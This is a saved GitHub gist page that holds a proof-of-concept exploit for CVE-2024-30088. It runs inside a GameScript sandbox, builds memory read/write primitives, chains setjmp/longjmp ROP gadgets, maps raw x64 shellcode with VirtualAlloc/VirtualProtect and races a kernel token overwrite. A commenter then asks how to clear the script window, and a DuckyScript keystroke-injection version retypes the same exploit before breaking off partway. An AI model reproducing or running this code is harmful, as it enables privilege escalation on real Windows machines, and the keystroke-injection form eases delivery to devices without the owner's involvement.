-
-
Save carrot-c4k3/6ef33d57733b08281b26db0a50b1a447 to your computer and use it in GitHub Desktop.
// | |
// CVE-2024-30088 PoC - @carrot_c4k3 (exploits.forsale) | |
// | |
let get_token_handle_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0xff,0x10,0x4c,0x8d,0x44,0x24,0x38,0xba,0x0,0x0,0x0,0x2,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x8,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x4c,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x4c,0x24,0x38,0x48,0x89,0x48,0x40,0x8b,0x44,0x24,0x30,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc] | |
let create_smash_thread_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x38,0x48,0xc7,0x44,0x24,0x28,0x0,0x0,0x0,0x0,0xc7,0x44,0x24,0x20,0x0,0x0,0x0,0x0,0x4c,0x8b,0x4c,0x24,0x40,0x48,0x8b,0x44,0x24,0x40,0x4c,0x8b,0x40,0x28,0x33,0xd2,0x33,0xc9,0x48,0x8b,0x44,0x24,0x40,0xff,0x50,0x20,0x48,0x83,0xc4,0x38,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc] | |
let attempt_race_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x50,0xba,0xf,0x0,0x0,0x0,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x58,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0xeb,0xd,0x48,0x8b,0x44,0x24,0x38,0x48,0xff,0xc0,0x48,0x89,0x44,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x40,0x48,0x48,0x39,0x44,0x24,0x38,0x73,0x31,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x48,0x40,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0xeb,0xb2,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc] | |
let smash_func_code = [0x4C,0x8B,0xE1,0x41,0xFF,0x54,0x24,0x50,0x48,0x8B,0xC8,0xBA,0x0F,0x00,0x00,0x00,0x41,0xFF,0x54,0x24,0x58,0x49,0x8B,0x44,0x24,0x30,0x49,0x8B,0x4C,0x24,0x38,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0xEB,0x83] | |
fn round_down(val, bound) { | |
return floor(val - (val % bound)) | |
} | |
fn array_compare(a1, a2) { | |
if (len(a1) != len(a2)) { | |
return false | |
} | |
var arr_len = len(a1) | |
for (var i = 0; i < arr_len; i++) { | |
if (a1[i] != a2[i]) { | |
return false | |
} | |
} | |
return true | |
} | |
// shorthand helpers for memory access | |
fn write8(addr, val) { | |
pointerSetUnsignedInteger8Bit(0, addr, val) | |
} | |
fn read8(addr) { | |
return pointerGetUnsignedInteger8Bit(0, addr) | |
} | |
fn write16(addr, val) { | |
pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val) | |
} | |
fn read16(addr) { | |
return pointerGetAtOffsetUnsignedInteger16Bit(0, addr) | |
} | |
fn write32(addr, val) { | |
pointerSetAtOffsetUnsignedInteger(0, addr, val) | |
} | |
fn read32(addr) { | |
return pointerGetAtOffsetUnsignedInteger(0, addr) | |
} | |
fn write64(addr, val) { | |
pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val) | |
} | |
fn read64(addr) { | |
return pointerGetAtOffsetUnsignedInteger64Bit(0, addr) | |
} | |
fn read_buf(addr, buf) { | |
var buf_len = len(buf) | |
for (var i = 0; i < buf_len; i++) { | |
buf[i] = read8(addr + i) | |
} | |
} | |
fn write_buf(addr, buf) { | |
var buf_len = len(buf) | |
for (var i = 0; i < buf_len; i++) { | |
write8(addr+i, buf[i]) | |
} | |
} | |
fn find_bytes(addr, max_len, pattern, buf) { | |
for (var i = 0; i < max_len; i++) { | |
read_buf(addr + i, buf) | |
if (array_compare(pattern, buf)) { | |
return addr + i | |
} | |
} | |
return 0 | |
} | |
fn find64(addr, max_len, v) { | |
var offset = 0 | |
while (1) { | |
var temp_val = read64(addr+offset) | |
if (temp_val == v) { | |
return addr+offset | |
} | |
offset += 8 | |
} | |
return 0 | |
} | |
// shorthand funcs | |
fn ptr_to_num(p) { | |
return numberFromRaw64BitUnsignedInteger(p) | |
} | |
fn make_cstr(s) { | |
var str_len = len(s) + 1 | |
var s_ptr = globalArrayNew8Bit(s, str_len) | |
pointerSetString(s_ptr, 0, s) | |
return ptr_to_num(s_ptr) | |
} | |
var gs_base = 0 | |
var ntdll_base = 0 | |
var kernelbase_base = 0 | |
var longjmp_ptr = 0 | |
var setjmp_ptr = 0 | |
var gadget_ptr = 0 | |
var gadget_rsp0x48_ptr = 0 | |
var gadget_pushrax_ptr = 0 | |
fn call_native(func_ptr, rcx, rdx, r8, r9) { | |
// set this gadget here | |
gadget_rsp0x48_ptr = gs_base + 0xE04B | |
gadget_pushrax_ptr = gs_base + 0x1F13A | |
var call_done = false | |
// allocate 0x120 (space for vtable + setjmp data) | |
var obj_ptr = globalArrayNew8Bit("call", 0x100) | |
var objp = ptr_to_num(obj_ptr) | |
var vt_ptr = globalArrayNew8Bit("vtable", 0x18) | |
var vtp = ptr_to_num(vt_ptr) | |
var stack_size = 0x4000 | |
var stack_ptr = globalArrayNew8Bit("stack", stack_size) | |
var stackp = ptr_to_num(stack_ptr) | |
var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100) | |
var jcp = ptr_to_num(jmpctx_ptr) | |
// set up vtable pointers | |
write64(vtp+8, setjmp_ptr) | |
write64(objp, vtp) | |
// trigger vtable call | |
slBus_destroy(obj_ptr) | |
memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100) | |
// set up our rop chain | |
var r10 = 0 | |
var r11 = 0 | |
write64(stackp+stack_size-0xA0, rdx) | |
write64(stackp+stack_size-0x98, rcx) | |
write64(stackp+stack_size-0x90, r8) | |
write64(stackp+stack_size-0x88, r9) | |
write64(stackp+stack_size-0x80, r10) | |
write64(stackp+stack_size-0x78, r11) | |
write64(stackp+stack_size-0x70, func_ptr) | |
write64(stackp+stack_size-0x68, gadget_pushrax_ptr) | |
// 0x30 bytes of padding | |
write64(stackp+stack_size-0x38, 0x15151515) | |
write64(stackp+stack_size-0x30, gs_base+0x109C4A) | |
write64(stackp+stack_size-0x28, jcp) | |
write64(stackp+stack_size-0x20, longjmp_ptr); | |
// set up the context to do the longjmp | |
write64(vtp+8, longjmp_ptr) | |
write64(objp, vtp) | |
// rsp | |
write64(objp+0x10, stackp+stack_size-0xA0) | |
// rip | |
write64(objp+0x50, gadget_ptr) | |
// trigger vtable call | |
slBus_destroy(obj_ptr) | |
var ret_val = read64(stackp+stack_size-0x68) | |
// clean up our objects | |
globalArrayDelete("call") | |
globalArrayDelete("vtable") | |
globalArrayDelete("stack") | |
globalArrayDelete("jctx") | |
return ret_val | |
} | |
fn find_module_base(addr) { | |
var search_addr = round_down(addr, 0x10000) | |
while (1) { | |
var magic_static = [0x4D, 0x5A] | |
var magic_read = [0, 0] | |
read_buf(search_addr, magic_read) | |
if (array_compare(magic_static, magic_read)) { | |
return search_addr | |
} | |
search_addr -= 0x10000 | |
} | |
return 0 | |
} | |
fn get_dll_exports(base_addr) { | |
var res = {} | |
var magic_static = [0x4D, 0x5A] | |
var magic_read = [0, 0] | |
read_buf(base_addr, magic_read) | |
if (!array_compare(magic_static, magic_read)) { | |
printConsole("Magic is invalid!\n") | |
return res | |
} | |
var e_lfanew = read32(base_addr+0x3c) | |
var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18) | |
var num_funcs = read32(exports_addr+0x14) | |
var num_names = read32(exports_addr+0x18) | |
var funcs_addr = base_addr + read32(exports_addr+0x1c) | |
var names_addr = base_addr + read32(exports_addr+0x20) | |
var ords_addr = base_addr + read32(exports_addr+0x24) | |
for (var i = 0; i < num_names; i++) { | |
var name_addr = base_addr + read32(names_addr + (4 * i)) | |
var name_str = pointerGetSubstring(0, name_addr, 0x20) | |
var ordinal = read16(ords_addr + (2 * i)) | |
var func_addr = base_addr + read32(funcs_addr + (4 * ordinal)) | |
res[name_str] = func_addr | |
} | |
return res | |
} | |
var VirtualAlloc_ptr = 0 | |
var VirtualProtect_ptr = 0 | |
fn map_code(code) { | |
var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4) | |
write_buf(code_addr, code) | |
var oldp_ptr = globalArrayNew8Bit("oldp", 0x100) | |
var oldpp = ptr_to_num(oldp_ptr) | |
call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp) | |
return code_addr | |
} | |
// create and dump our object to the terminal | |
var slbus_ptr = slBus_create() | |
var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr) | |
// get the base of the GameScript module via the vtable | |
gs_base = read64(slp) - 0x16faf8 | |
ntdll_base = find_module_base(read64(gs_base + 0x125398)) | |
kernelbase_base = find_module_base(read64(gs_base + 0x1253A0)) | |
var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48] | |
var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C] | |
var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] | |
setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes) | |
longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes) | |
// bytes for the following gadget: pop rdx;pop rcx;pop r8;pop r9;pop r10;pop r11; ret | |
var gadget_bytes = [0x5A, 0x59, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0xC3] | |
tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] | |
gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes) | |
// get the ntdll & kernel base exports and find VirtualAlloc/Protect | |
var kernelbase_exports = get_dll_exports(kernelbase_base) | |
var ntdll_exports = get_dll_exports(ntdll_base) | |
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"] | |
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"] | |
// map our code first blob of shellcode | |
var code_addr = map_code(get_token_handle_code) | |
var smash_func_addr = map_code(smash_func_code) | |
var create_smash_thread_ptr = map_code(create_smash_thread_code) | |
var attempt_race_ptr = map_code(attempt_race_code) | |
// create our shellcode context | |
var ctx_ptr = globalArrayNew8Bit("ctxp", 0x500) | |
var ctxp = ptr_to_num(ctx_ptr) | |
// allocate our token info buffer | |
var tinfo_ptr = globalArrayNew8Bit("tinfo", 0x2000) | |
var tinfop = ptr_to_num(tinfo_ptr) | |
// look up the functions needed by our shellcode | |
var OpenProcessToken_ptr = kernelbase_exports["OpenProcessToken"] | |
var GetCurrentProcess_ptr = kernelbase_exports["GetCurrentProcess"] | |
var NtQueryInformationToken_ptr = ntdll_exports["NtQueryInformationToken"] | |
var CreateThread_ptr = kernelbase_exports["CreateThread"] | |
var TerminateThread_ptr = kernelbase_exports["TerminateThread"] | |
var GetCurrentThread_ptr = kernelbase_exports["GetCurrentThread"] | |
var SetThreadPriority_ptr = kernelbase_exports["SetThreadPriority"] | |
// setup shellcode ctx | |
write64(ctxp, GetCurrentProcess_ptr) | |
write64(ctxp+8, OpenProcessToken_ptr) | |
write64(ctxp+0x10, NtQueryInformationToken_ptr) | |
write64(ctxp+0x18, tinfop) | |
write64(ctxp+0x20, CreateThread_ptr) | |
write64(ctxp+0x28, smash_func_addr) | |
write64(ctxp+0x48, 0x800000) | |
write64(ctxp+0x50, GetCurrentThread_ptr) | |
write64(ctxp+0x58, SetThreadPriority_ptr) | |
// call create_token_handle | |
var bytes_returned = call_native(code_addr, ctxp, 0, 0, 0) | |
var token_handle = read64(ctxp+0x40) | |
var magic_str = [0x54, 0x00, 0x53, 0x00, 0x41, 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x55, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x71, 0x00, 0x75, 0x00, 0x65, 0x00] | |
tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] | |
var magic_str_ptr = find_bytes(tinfop, bytes_returned, magic_str, tmp_bytes) | |
var smash_ptr = find64(tinfop, bytes_returned, magic_str_ptr) | |
write64(ctxp+0x30, smash_ptr) | |
write32(ctxp+0x38, 0x41414141) | |
write32(ctxp+0x3C, 0xFFFFFFFF) | |
// trigger the bug | |
var thread_handle = call_native(create_smash_thread_ptr, ctxp, 0, 0, 0) | |
call_native(attempt_race_ptr, ctxp, 0, 0, 0) | |
call_native(TerminateThread_ptr, thread_handle, 0, 0, 0) | |
// if we got here the bug did not trigger | |
printConsole("If you're seeing this the kernel vulnerability is patched, sorry :c\n") |
Tell me how to clear the window of Game Script from the previous script.
I can't insert a new one.
DELAY 3000
STRING // Quack Quack
ENTER
STRING //CVE-2024-30088 PoC - @carrot_c4k3 (exploits.forsale)
ENTER
STRING //
ENTER
STRING let get_token_handle_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0xff,0x10,0x4c,0x8d,0x44,0x24,0x38,0xba,0x0,0x0,0x0,0x2,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x8,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x4c,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x4c,0x24,0x38,0x48,0x89,0x48,0x40,0x8b,0x44,0x24,0x30,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc]
ENTER
STRING let create_smash_thread_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x38,0x48,0xc7,0x44,0x24,0x28,0x0,0x0,0x0,0x0,0xc7,0x44,0x24,0x20,0x0,0x0,0x0,0x0,0x4c,0x8b,0x4c,0x24,0x40,0x48,0x8b,0x44,0x24,0x40,0x4c,0x8b,0x40,0x28,0x33,0xd2,0x33,0xc9,0x48,0x8b,0x44,0x24,0x40,0xff,0x50,0x20,0x48,0x83,0xc4,0x38,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc]
ENTER
STRING let attempt_race_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x50,0xba,0xf,0x0,0x0,0x0,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x58,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0xeb,0xd,0x48,0x8b,0x44,0x24,0x38,0x48,0xff,0xc0,0x48,0x89,0x44,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x40,0x48,0x48,0x39,0x44,0x24,0x38,0x73,0x31,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x48,0x40,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0xeb,0xb2,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc]
ENTER
STRING let smash_func_code = [0x4C,0x8B,0xE1,0x41,0xFF,0x54,0x24,0x50,0x48,0x8B,0xC8,0xBA,0x0F,0x00,0x00,0x00,0x41,0xFF,0x54,0x24,0x58,0x49,0x8B,0x44,0x24,0x30,0x49,0x8B,0x4C,0x24,0x38,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0xEB,0x83]
ENTER
STRING fn round_down(val, bound) {
ENTER
STRING return floor(val - (val % bound))
ENTER
STRING }
ENTER
STRING fn array_compare(a1, a2) {
ENTER
STRING if (len(a1) != len(a2)) {
ENTER
STRING return false
ENTER
STRING }
ENTER
STRING var arr_len = len(a1)
ENTER
STRING for (var i = 0; i < arr_len; i++) {
ENTER
STRING if (a1[i] != a2[i]) {
ENTER
STRING return false
ENTER
STRING }
ENTER
STRING }
ENTER
STRING return true
ENTER
STRING }
ENTER
STRING // shorthand helpers for memory access
ENTER
STRING fn write8(addr, val) {
ENTER
STRING pointerSetUnsignedInteger8Bit(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read8(addr) {
ENTER
STRING return pointerGetUnsignedInteger8Bit(0, addr)
ENTER
STRING }
ENTER
STRING fn write16(addr, val) {
ENTER
STRING pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read16(addr) {
ENTER
STRING return pointerGetAtOffsetUnsignedInteger16Bit(0, addr)
ENTER
STRING }
ENTER
STRING fn write32(addr, val) {
ENTER
STRING pointerSetAtOffsetUnsignedInteger(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read32(addr) {
ENTER
STRING return pointerGetAtOffsetUnsignedInteger(0, addr)
ENTER
STRING }
ENTER
STRING fn write64(addr, val) {
ENTER
STRING pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read64(addr) {
ENTER
STRING return pointerGetAtOffsetUnsignedInteger64Bit(0, addr)
ENTER
STRING }
ENTER
STRING fn read_buf(addr, buf) {
ENTER
STRING var buf_len = len(buf)
ENTER
STRING for (var i = 0; i < buf_len; i++) {
ENTER
STRING buf[i] = read8(addr + i)
ENTER
STRING }
ENTER
STRING }
ENTER
STRING fn write_buf(addr, buf) {
ENTER
STRING var buf_len = len(buf)
ENTER
STRING for (var i = 0; i < buf_len; i++) {
ENTER
STRING write8(addr+i, buf[i])
ENTER
STRING }
ENTER
STRING }
ENTER
STRING fn find_bytes(addr, max_len, pattern, buf) {
ENTER
STRING for (var i = 0; i < max_len; i++) {
ENTER
STRING read_buf(addr + i, buf)
ENTER
STRING if (array_compare(pattern, buf)) {
ENTER
STRING return addr + i
ENTER
STRING }
ENTER
STRING }
ENTER
STRING return 0
ENTER
STRING }
ENTER
STRING fn find64(addr, max_len, v) {
ENTER
STRING var offset = 0
ENTER
STRING while (1) {
ENTER
STRING var temp_val = read64(addr+offset)
ENTER
STRING if (temp_val == v) {
ENTER
STRING return addr+offset
ENTER
STRING }
ENTER
STRING offset += 8
ENTER
STRING }
ENTER
STRING return 0
ENTER
STRING }
ENTER
STRING // shorthand funcs
ENTER
STRING fn ptr_to_num(p) {
ENTER
STRING return numberFromRaw64BitUnsignedInteger(p)
ENTER
STRING }
ENTER
STRING fn make_cstr(s) {
ENTER
STRING var str_len = len(s) + 1
ENTER
STRING var s_ptr = globalArrayNew8Bit(s, str_len)
ENTER
STRING pointerSetString(s_ptr, 0, s)
ENTER
STRING return ptr_to_num(s_ptr)
ENTER
STRING }
ENTER
STRING var gs_base = 0
ENTER
STRING var ntdll_base = 0
ENTER
STRING var kernelbase_base = 0
ENTER
STRING var longjmp_ptr = 0
ENTER
STRING var setjmp_ptr = 0
ENTER
STRING var gadget_ptr = 0
ENTER
STRING var gadget_rsp0x48_ptr = 0
ENTER
STRING var gadget_pushrax_ptr = 0
ENTER
STRING fn call_native(func_ptr, rcx, rdx, r8, r9) {
ENTER
STRING // set this gadget here
ENTER
STRING gadget_rsp0x48_ptr = gs_base + 0xE04B
ENTER
STRING gadget_pushrax_ptr = gs_base + 0x1F13A
ENTER
STRING var call_done = false
ENTER
STRING // allocate 0x120 (space for vtable + setjmp data)
ENTER
STRING var obj_ptr = globalArrayNew8Bit("call", 0x100)
ENTER
STRING var objp = ptr_to_num(obj_ptr)
ENTER
STRING var vt_ptr = globalArrayNew8Bit("vtable", 0x18)
ENTER
STRING var vtp = ptr_to_num(vt_ptr)
ENTER
STRING var stack_size = 0x4000
ENTER
STRING var stack_ptr = globalArrayNew8Bit("stack", stack_size)
ENTER
STRING var stackp = ptr_to_num(stack_ptr)
ENTER
STRING var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100)
ENTER
STRING var jcp = ptr_to_num(jmpctx_ptr)
ENTER
STRING // set up vtable pointers
ENTER
STRING write64(vtp+8, setjmp_ptr)
ENTER
STRING write64(objp, vtp)
ENTER
STRING // trigger vtable call
ENTER
STRING slBus_destroy(obj_ptr)
ENTER
STRING memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100)
ENTER
STRING // set up our rop chain
ENTER
STRING var r10 = 0
ENTER
STRING var r11 = 0
ENTER
STRING write64(stackp+stack_size-0xA0, rdx)
ENTER
STRING write64(stackp+stack_size-0x98, rcx)
ENTER
STRING write64(stackp+stack_size-0x90, r8)
ENTER
STRING write64(stackp+stack_size-0x88, r9)
ENTER
STRING write64(stackp+stack_size-0x80, r10)
ENTER
STRING write64(stackp+stack_size-0x78, r11)
ENTER
STRING write64(stackp+stack_size-0x70, func_ptr)
ENTER
STRING write64(stackp+stack_size-0x68, gadget_pushrax_ptr)
ENTER
STRING // 0x30 bytes of padding
ENTER
STRING write64(stackp+stack_size-0x38, 0x15151515)
ENTER
STRING write64(stackp+stack_size-0x30, gs_base+0x109C4A)
ENTER
STRING write64(stackp+stack_size-0x28, jcp)
ENTER
STRING write64(stackp+stack_size-0x20, longjmp_ptr);
ENTER
STRING // set up the context to do the longjmp
ENTER
STRING write64(vtp+8, longjmp_ptr)
ENTER
STRING write64(objp, vtp)
ENTER
STRING // rsp
ENTER
STRING write64(objp+0x10, stackp+stack_size-0xA0)
ENTER
STRING // rip
ENTER
STRING write64(objp+0x50, gadget_ptr)
ENTER
STRING // trigger vtable call
ENTER
STRING slBus_destroy(obj_ptr)
ENTER
STRING var ret_val = read64(stackp+stack_size-0x68)
ENTER
STRING // clean up our objects
ENTER
STRING globalArrayDelete("call")
ENTER
STRING globalArrayDelete("vtable")
ENTER
STRING globalArrayDelete("stack")
ENTER
STRING globalArrayDelete("jctx")
ENTER
STRING return ret_val
ENTER
STRING }
ENTER
STRING fn find_module_base(addr) {
ENTER
STRING var search_addr = round_down(addr, 0x10000)
ENTER
STRING while (1) {
ENTER
STRING var magic_static = [0x4D, 0x5A]
ENTER
STRING var magic_read = [0, 0]
ENTER
STRING read_buf(search_addr, magic_read)
ENTER
STRING if (array_compare(magic_static, magic_read)) {
ENTER
STRING return search_addr
ENTER
STRING }
ENTER
STRING search_addr -= 0x10000
ENTER
STRING }
ENTER
STRING return 0
ENTER
STRING }
ENTER
STRING fn get_dll_exports(base_addr) {
ENTER
STRING var res = {}
ENTER
STRING var magic_static = [0x4D, 0x5A]
ENTER
STRING var magic_read = [0, 0]
ENTER
STRING read_buf(base_addr, magic_read)
ENTER
STRING if (!array_compare(magic_static, magic_read)) {
ENTER
STRING printConsole("Magic is invalid!\n")
ENTER
STRING return res
ENTER
STRING }
ENTER
STRING var e_lfanew = read32(base_addr+0x3c)
ENTER
STRING var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18)
ENTER
STRING var num_funcs = read32(exports_addr+0x14)
ENTER
STRING var num_names = read32(exports_addr+0x18)
ENTER
STRING var funcs_addr = base_addr + read32(exports_addr+0x1c)
ENTER
STRING var names_addr = base_addr + read32(exports_addr+0x20)
ENTER
STRING var ords_addr = base_addr + read32(exports_addr+0x24)
ENTER
STRING for (var i = 0; i < num_names; i++) {
ENTER
STRING var name_addr = base_addr + read32(names_addr + (4 * i))
ENTER
STRING var name_str = pointerGetSubstring(0, name_addr, 0x20)
ENTER
STRING var ordinal = read16(ords_addr + (2 * i))
ENTER
STRING var func_addr = base_addr + read32(funcs_addr + (4 * ordinal))
ENTER
STRING res[name_str] = func_addr
ENTER
STRING }
ENTER
STRING return res
ENTER
STRING }
ENTER
STRING var VirtualAlloc_ptr = 0
ENTER
STRING var VirtualProtect_ptr = 0
ENTER
STRING fn map_code(code) {
ENTER
STRING var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4)
ENTER
STRING write_buf(code_addr, code)
ENTER
STRING var oldp_ptr = globalArrayNew8Bit("oldp", 0x100)
ENTER
STRING var oldpp = ptr_to_num(oldp_ptr)
ENTER
STRING call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp)
ENTER
STRING return code_addr
ENTER
STRING }
ENTER
STRING // create and dump our object to the terminal
ENTER
STRING var slbus_ptr = slBus_create()
ENTER
STRING var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr)
ENTER
STRING // get the base of the GameScript module via the vtable
ENTER
STRING gs_base = read64(slp) - 0x16faf8
ENTER
STRING ntdll_base = find_module_base(read64(gs_base + 0x125398))
ENTER
STRING kernelbase_base = find_module_base(read64(gs_base + 0x1253A0))
ENTER
STRING var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48]
ENTER
STRING var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C]
ENTER
STRING var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
ENTER
STRING setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes)
ENTER
STRING longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes)
ENTER
STRING // bytes for the following gadget: pop rdx;pop rcx;pop r8;pop r9;pop r10;pop r11; ret
ENTER
STRING var gadget_bytes = [0x5A, 0x59, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0xC3]
ENTER
